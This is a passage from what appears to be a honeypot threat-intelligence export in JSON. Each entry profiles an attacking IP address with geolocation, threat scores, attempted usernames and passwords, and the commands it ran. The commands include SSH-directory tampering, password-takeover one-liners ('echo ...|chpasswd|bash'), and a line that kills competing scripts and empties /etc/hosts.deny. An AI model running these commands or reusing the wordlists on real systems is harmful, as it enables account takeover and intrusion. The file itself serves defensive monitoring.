        "1234",
        "!@#123.com",
        "!qaz2wsx123",
        "1",
        "123123123",
        "12345678",
        "12345678a",
        "123456Xx",
        "1234_qwer",
        "1qaz@WSX!@#",
        "2024",
        "212223",
        "213",
        "3245gs5662d34",
        "345gs5662d34",
        "@WSX#EDC",
        "ADMIN@123",
        "Abc@2024",
        "Lc123456.",
        "Lx@123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456Xx\\nLcBZOuYKqRjV\\nLcBZOuYKqRjV\\n\"|passwd",
        "echo -e \"123456Xx\\nLcBZOuYKqRjV\\nLcBZOuYKqRjV\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T02:12:06.645000+00:00",
        "last_seen_30d": "2026-05-07T02:50:49.580000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "185.233.3.95": {
      "attack_count": 219,
      "first_seen": "2026-05-06T09:27:16.471Z",
      "last_seen": "2026-05-06T10:02:30.815Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "oracle",
        "ubuntu1",
        "345gs5662d34",
        "admin",
        "appuser",
        "deploy",
        "ec2-user",
        "git",
        "qbtuser",
        "scptest",
        "test",
        "test5",
        "testuser",
        "tpuser",
        "uploaduser",
        "user00",
        "ut2k4server"
      ],
      "passwords_attempted": [
        "123456",
        "!QAZxsw2",
        "1234qwer",
        "3245gs5662d34",
        "345gs5662d34",
        "654321",
        "ADMINadmin123",
        "a1b2c3",
        "abcd@1234",
        "admin..",
        "apppassword",
        "asdfghjkl",
        "debian",
        "deploy@2023",
        "fuckoff",
        "hello123",
        "nameserver",
        "pass",
        "passw0rd123",
        "qwerty!@#$%^"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nv7VuT76IpFYu\\nv7VuT76IpFYu\\n\"|passwd",
        "echo -e \"123456\\nv7VuT76IpFYu\\nv7VuT76IpFYu\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Almaty",
      "asn": 48096,
      "as_org": "Enterprise Cloud Ltd.",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T09:27:16.471000+00:00",
        "last_seen_30d": "2026-05-06T10:03:31.773000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "50.225.176.238": {
      "attack_count": 219,
      "first_seen": "2026-05-05T07:06:15.995Z",
      "last_seen": "2026-05-05T07:34:36.409Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "testftp",
        "345gs5662d34",
        "administrador",
        "alireza",
        "deploy",
        "ftpuser",
        "guest",
        "mysql",
        "odoo12",
        "reza",
        "testuser",
        "user",
        "user20",
        "webadmin"
      ],
      "passwords_attempted": [
        "123",
        "!@#$%^&",
        "!QAZxsw23edc",
        "123456",
        "123456qQ",
        "123ftpuser123",
        "1q2w3e",
        "3245gs5662d34",
        "345gs5662d34",
        "Debian@2023",
        "aadmin",
        "admin",
        "admin8080",
        "admin@",
        "adminadmin123",
        "asd",
        "asdfasdf",
        "cxzdsaewq",
        "fang",
        "guest321"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\npm2crxbZXNMP\\npm2crxbZXNMP\\n\"|passwd",
        "echo -e \"123456\\npm2crxbZXNMP\\npm2crxbZXNMP\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T07:06:15.995000+00:00",
        "last_seen_30d": "2026-05-05T07:35:43.117000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "104.243.42.167": {
      "attack_count": 218,
      "first_seen": "2026-05-28T18:02:12.940Z",
      "last_seen": "2026-05-28T18:28:17.441Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "hello",
        "csuser",
        "geoserver",
        "sms",
        "ubuntu",
        "user1",
        "user4"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "1234qwer!@#$QWER",
        "9090",
        "@12345678",
        "Abc.12345",
        "Abcd1234!",
        "Qaz123456.",
        "aaaaaaaa",
        "csuser",
        "fjbdfdjkdsfs541544",
        "geoserver123",
        "raspberry",
        "sms",
        "test@123",
        "xX@123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nNVTroJTbBCbs\\nNVTroJTbBCbs\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\npD17qHdaozOr\\npD17qHdaozOr\\n\"|passwd",
        "echo -e \"123456\\nNVTroJTbBCbs\\nNVTroJTbBCbs\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\npD17qHdaozOr\\npD17qHdaozOr\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 263,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T18:02:12.940000+00:00",
        "last_seen_30d": "2026-05-28T18:29:27.432000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 45
      }
    },
    "91.204.208.35": {
      "attack_count": 216,
      "first_seen": "2026-05-07T07:14:43.686Z",
      "last_seen": "2026-05-07T07:30:44.093Z",
      "sessions": 108,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 52148,
      "as_org": "Enix Ltd",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 333,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T07:14:43.686000+00:00",
        "last_seen_30d": "2026-05-07T07:38:08.494000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 117
      }
    },
    "138.124.20.112": {
      "attack_count": 173,
      "first_seen": "2026-05-19T12:02:29.980Z",
      "last_seen": "2026-05-19T12:27:45.674Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "1234567root",
        "3245gs5662d34",
        "345gs5662d34",
        "Pass2017",
        "Password2",
        "administrator1",
        "akhtar",
        "claude",
        "elite",
        "fedora",
        "galileo",
        "honda",
        "library123",
        "marlboro",
        "mean",
        "passroot",
        "password2008",
        "qqqqqq",
        "qwertyu",
        "rafael"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:LQ1zcxb8IgVr\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T12:02:29.980000+00:00",
        "last_seen_30d": "2026-05-19T12:28:46.526000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 51
      }
    },
    "184.168.21.211": {
      "attack_count": 167,
      "first_seen": "2026-05-25T02:22:40.397Z",
      "last_seen": "2026-05-25T03:21:33.024Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "baidu",
        "cloud",
        "gitlab-runner",
        "ansible",
        "curl",
        "ftpuser",
        "leo",
        "minecraft",
        "sit",
        "steam",
        "ubuntu",
        "ymoreno"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "12345",
        "ABCabc123456",
        "P@ssw0rd",
        "Steam",
        "Wangsu@2017",
        "Welcome@2025!",
        "Xy123456@",
        "ansible",
        "apple",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "linux123!@#",
        "sit",
        "ubuntu@12345",
        "welltech12"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T02:22:40.397000+00:00",
        "last_seen_30d": "2026-05-25T03:22:39.327000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 167,
        "Suricata": 64
      }
    },
    "186.237.174.20": {
      "attack_count": 144,
      "first_seen": "2026-05-18T22:11:20.985Z",
      "last_seen": "2026-05-19T06:18:05.497Z",
      "sessions": 72,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Angra dos Reis",
      "asn": 262813,
      "as_org": "Superimagem Tecnologia em Eletronica Ltda",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:11:20.985000+00:00",
        "last_seen_30d": "2026-05-19T06:19:14.069000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 75
      }
    },
    "78.111.67.247": {
      "attack_count": 136,
      "first_seen": "2026-05-03T00:35:28.085Z",
      "last_seen": "2026-05-31T20:48:24.250Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 33984,
      "as_org": "Surfplanet GmbH",
      "threat_score": 58.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.1,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:35:28.085000+00:00",
        "last_seen_30d": "2026-05-31T20:49:34.009000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 69
      }
    },
    "14.55.144.22": {
      "attack_count": 118,
      "first_seen": "2026-05-24T14:41:25.406Z",
      "last_seen": "2026-05-24T15:38:25.218Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "grid",
        "postgres",
        "sammy",
        "test1"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "123@.com",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd1234!@#$",
        "Test123!@#",
        "grid",
        "qaz123..",
        "qwer.1234",
        "root",
        "root2019"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:qMxwEWBblH5K\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jeonju-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T14:41:25.406000+00:00",
        "last_seen_30d": "2026-05-24T15:39:33.771000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 34
      }
    },
    "216.18.219.189": {
      "attack_count": 96,
      "first_seen": "2026-05-03T11:09:22.133Z",
      "last_seen": "2026-05-03T11:12:21.632Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 18450,
      "as_org": "WebNX, Inc.",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T11:09:22.133000+00:00",
        "last_seen_30d": "2026-05-03T11:13:30.129000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 49
      }
    },
    "220.201.24.115": {
      "attack_count": 78,
      "first_seen": "2026-05-21T06:45:00.267Z",
      "last_seen": "2026-05-21T09:42:16.481Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:45:00.267000+00:00",
        "last_seen_30d": "2026-05-21T09:44:17.229000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 78,
        "Suricata": 44
      }
    },
    "14.1.105.117": {
      "attack_count": 50,
      "first_seen": "2026-05-24T10:19:04.228Z",
      "last_seen": "2026-05-24T10:24:28.698Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T10:19:04.228000+00:00",
        "last_seen_30d": "2026-05-24T10:25:36.967000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.0.213": {
      "attack_count": 48,
      "first_seen": "2026-05-18T21:57:05.869Z",
      "last_seen": "2026-05-18T22:02:17.117Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:57:05.869000+00:00",
        "last_seen_30d": "2026-05-18T22:03:27.128000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "103.149.26.43": {
      "attack_count": 36,
      "first_seen": "2026-05-14T13:51:38.834Z",
      "last_seen": "2026-05-31T06:19:34.859Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 43.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T13:51:38.834000+00:00",
        "last_seen_30d": "2026-05-31T06:20:37.018000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "13.92.135.230": {
      "attack_count": 36,
      "first_seen": "2026-05-06T16:29:11.752Z",
      "last_seen": "2026-05-06T17:15:38.243Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T16:29:11.752000+00:00",
        "last_seen_30d": "2026-05-06T17:16:45.360000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 28
      }
    },
    "14.103.114.234": {
      "attack_count": 35,
      "first_seen": "2026-05-18T08:46:45.879Z",
      "last_seen": "2026-05-18T09:32:03.054Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Hello2024",
        "swatch"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T08:46:45.879000+00:00",
        "last_seen_30d": "2026-05-18T09:42:08.379000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 27
      }
    },
    "220.154.131.255": {
      "attack_count": 33,
      "first_seen": "2026-05-15T08:22:34.202Z",
      "last_seen": "2026-05-24T06:34:00.776Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "sammy",
        "systemd-sync"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "Aa123123123",
        "jordyn",
        "warnight",
        "xiaolin82"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134756,
      "as_org": "CHINANET Nanjing Jishan IDC network",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.1,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T08:22:34.202000+00:00",
        "last_seen_30d": "2026-05-24T06:44:10.750000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 18
      }
    },
    "54.215.92.191": {
      "attack_count": 32,
      "first_seen": "2026-05-31T09:02:58.935Z",
      "last_seen": "2026-05-31T09:03:05.494Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
